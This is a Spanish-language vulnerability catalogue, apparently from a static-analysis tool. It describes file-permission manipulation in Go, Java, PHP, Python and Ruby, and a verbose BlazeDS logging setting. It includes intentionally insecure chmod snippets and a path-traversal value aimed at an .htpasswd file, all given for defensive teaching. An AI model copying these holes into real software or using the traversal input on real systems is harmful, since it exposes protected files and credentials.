91 elementos encontrados
Debilidades
Abstract
Si se permite que la entrada de usuario modifique directamente los permisos de archivo, un atacante podría acceder a los recursos del sistema protegidos de otra forma.
Explanation
Se producen errores File Permission Manipulation cuando se cumplen algunas de las siguientes condiciones:

1. Un atacante puede especificar una ruta de acceso utilizada en una operación que modifica los permisos del sistema de archivos.

2. Un atacante puede especificar los permisos asignados por una operación en el sistema de archivos.

Ejemplo 1: El siguiente código utiliza la entrada de las variables de entorno del sistema para establecer los permisos de archivo. Si los atacantes pueden modificar las variables de entorno del sistema, pueden utilizar el programa para obtener acceso a los archivos que el programa ha manipulado. Si el programa también es vulnerable a Path Manipulation, un atacante puede utilizar esta vulnerabilidad para obtener acceso a archivos arbitrarios del sistema.


permissions := strconv.Atoi(os.Getenv("filePermissions"));
fMode := os.FileMode(permissions)
os.chmod(filePath, fMode);
...
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[6] Standards Mapping - FIPS200 AC
[7] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[9] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[10] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[12] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[13] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[14] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[15] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[27] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[28] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[29] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[30] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.golang.file_permission_manipulation
Abstract
Si se permite que la entrada de usuario modifique directamente los permisos de archivo, un atacante puede acceder a los recursos del sistema protegidos de otra forma.
Explanation
Se producen errores de File Permission Manipulation cuando se cumplen algunas de las siguientes condiciones:

1. Un atacante puede especificar una ruta de acceso utilizada en una operación que modifica los permisos del sistema de archivos.

2. Un atacante puede especificar los permisos asignados por una operación en el sistema de archivos.

Ejemplo 1: el siguiente código utiliza la entrada desde las propiedades del sistema para establecer la máscara de permisos predeterminada. Si los atacantes pueden modificar las propiedades del sistema, pueden utilizar el programa para obtener acceso a los archivos que el programa ha manipulado. Si el programa también es vulnerable a la manipulación de rutas de acceso, un usuario malintencionado puede utilizar esta vulnerabilidad para obtener acceso a archivos arbitrarios del sistema.


String permissionMask = System.getProperty("defaultFileMask");
Path filePath = userFile.toPath();
...
Set<PosixFilePermission> perms = PosixFilePermissions.fromString(permissionMask);
Files.setPosixFilePermissions(filePath, perms);
...
References
[1] FIO01-J. Create files with appropriate access permissions CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[6] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[7] Standards Mapping - FIPS200 AC
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[11] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[16] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[28] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[29] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[30] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.file_permission_manipulation
Abstract
Si se permite que la entrada de usuario modifique directamente los permisos de archivo, un atacante puede acceder a los recursos del sistema protegidos de otra forma.
Explanation
Se producen errores de manipulación de permisos de archivo cuando se cumplen algunas de las siguientes condiciones:

1. Un atacante puede especificar una ruta de acceso utilizada en una operación que modifica los permisos del sistema de archivos.

2. Un atacante puede especificar los permisos asignados por una operación en el sistema de archivos.

Ejemplo: el siguiente código se ha diseñado para establecer los permisos de archivo adecuados para los usuarios que cargan las páginas web a través de FTP. Utiliza la entrada de una solicitud HTTP para marcar un archivo como visible para los usuarios externos.


$rName = $_GET['publicReport'];
chmod("/home/". authenticateUser . "/public_html/" . rName,"0755");
...


Sin embargo, si un usuario malintencionado proporciona un valor malicioso para publicReport como, por ejemplo, "../../localuser/public_html/.htpasswd", la aplicación hará que el archivo especificado sea legible para el usuario malintencionado.

Ejemplo 2: el siguiente código utiliza la entrada desde un archivo de configuración para establecer la máscara de permisos predeterminada. Si los usuarios malintencionados pueden modificar el archivo de configuración, pueden utilizar el programa para obtener acceso a los archivos que el programa ha manipulado. Si el programa también es vulnerable a la manipulación de rutas de acceso, un usuario malintencionado puede utilizar esta vulnerabilidad para obtener acceso a archivos arbitrarios del sistema.


...
$mask = $CONFIG_TXT['perms'];
chmod($filename,$mask);
...
References
[1] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[2] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[6] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[7] Standards Mapping - FIPS200 AC
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[11] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[16] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[28] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[29] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[30] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.php.file_permission_manipulation
Abstract
Si se permite que la entrada de usuario modifique directamente los permisos de archivo, un atacante puede acceder a los recursos del sistema protegidos de otra forma.
Explanation
Se producen errores de File Permission Manipulation cuando se cumplen algunas de las siguientes condiciones:

1. Un atacante puede especificar una ruta de acceso utilizada en una operación que modifica los permisos del sistema de archivos.

2. Un atacante puede especificar los permisos asignados por una operación en el sistema de archivos.

Ejemplo 1: El siguiente código utiliza la entrada de las variables de entorno del sistema para establecer los permisos de archivo. Si los atacantes pueden modificar las variables de entorno del sistema, pueden utilizar el programa para obtener acceso a los archivos que el programa ha manipulado. Si el programa también es vulnerable a Path Manipulation, un atacante puede utilizar esta vulnerabilidad para obtener acceso a archivos arbitrarios del sistema.


permissions = os.getenv("filePermissions");
os.chmod(filePath, permissions);
...
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[6] Standards Mapping - FIPS200 AC
[7] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[9] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[10] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[12] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[13] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[14] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[15] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[27] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[28] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[29] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[30] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.python.file_permission_manipulation
Abstract
Si se permite que la entrada de usuario modifique directamente los permisos de archivo, un atacante puede acceder a los recursos del sistema protegidos de otra forma.
Explanation
Se producen errores de manipulación de permisos de archivo cuando se cumplen algunas de las siguientes condiciones:

1. Un atacante puede especificar una ruta de acceso utilizada en una operación que modifica los permisos del sistema de archivos.

2. Un atacante puede especificar los permisos asignados por una operación en el sistema de archivos.

Ejemplo: el siguiente código se ha diseñado para establecer los permisos de archivo adecuados para los usuarios que cargan las páginas web a través de FTP. Utiliza la entrada de una solicitud HTTP para marcar un archivo como visible para los usuarios externos.


...
rName = req['publicReport']
File.chmod("/home/#{authenticatedUser}/public_html/#{rName}", "0755")
...


Sin embargo, si un usuario malintencionado proporciona un valor malicioso para publicReport como, por ejemplo, "../../localuser/public_html/.htpasswd", la aplicación hará que el archivo especificado sea legible para el usuario malintencionado.

Ejemplo 2: el siguiente código utiliza la entrada desde un archivo de configuración para establecer la máscara de permisos predeterminada. Si los atacantes pueden modificar el archivo de configuración, podrían utilizar el programa para obtener acceso a los archivos que el programa ha manipulado. Si el programa también es vulnerable a la manipulación de rutas de acceso, un usuario malintencionado puede utilizar esta vulnerabilidad para obtener acceso a archivos arbitrarios del sistema.


...
mask = config_params['perms']
File.chmod(filename, mask)
...
References
[1] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[2] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [16] CWE ID 732
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [22] CWE ID 732
[6] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[7] Standards Mapping - FIPS200 AC
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement
[11] Standards Mapping - OWASP API 2023 API3 Broken Object Property Level Authorization
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design (L1 L2 L3), 4.1.5 General Access Control Design (L1 L2 L3), 4.2.1 Operation Level Access Control (L1 L2 L3), 4.3.3 Other Access Control Considerations (L2 L3), 7.3.3 Log Protection Requirements (L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[16] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[28] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[29] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[30] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.ruby.file_permission_manipulation
Abstract
La información de depuración ayuda a los atacantes a conocer el sistema y planificar una forma de ataque.
Explanation
Si está utilizando Blaze DS para llevar a cabo el registro de eventos inesperados, el archivo del descriptor services-config.xml especifica un elemento XML "Logging" (Registro) para describir los diferentes aspectos del registro. Tiene un formato similar al siguiente:

Ejemplo:

<logging>
<target class="flex.messaging.log.ConsoleTarget" level="Debug">
<properties>
<prefix>[BlazeDS]</prefix>
<includeDate>false</includeDate>
<includeTime>false</includeTime>
<includeLevel>false</includeLevel>
<includeCategory>false</includeCategory>
</properties>
<filters>
<pattern>Endpoint.*</pattern>
<pattern>Service.*</pattern>
<pattern>Configuration</pattern>
</filters>
</target>
</logging>


Esta etiqueta target toma un atributo opcional que se llama level, el cual indica el nivel de registro. Si el nivel de depuración se establece en un nivel demasiado detallado, su aplicación puede escribir datos confidenciales en el archivo de registro.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 11
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001312, CCI-001314, CCI-002420, CCI-003272
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SA-15 Development Process and Standards and Tools (P2), SC-8 Transmission Confidentiality and Integrity (P1), SI-11 Error Handling (P2)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SA-15 Development Process and Standards and Tools, SC-8 Transmission Confidentiality and Integrity, SI-11 Error Handling
[7] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[8] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.1.3 Build (L2 L3)
[9] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[10] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[11] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[12] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
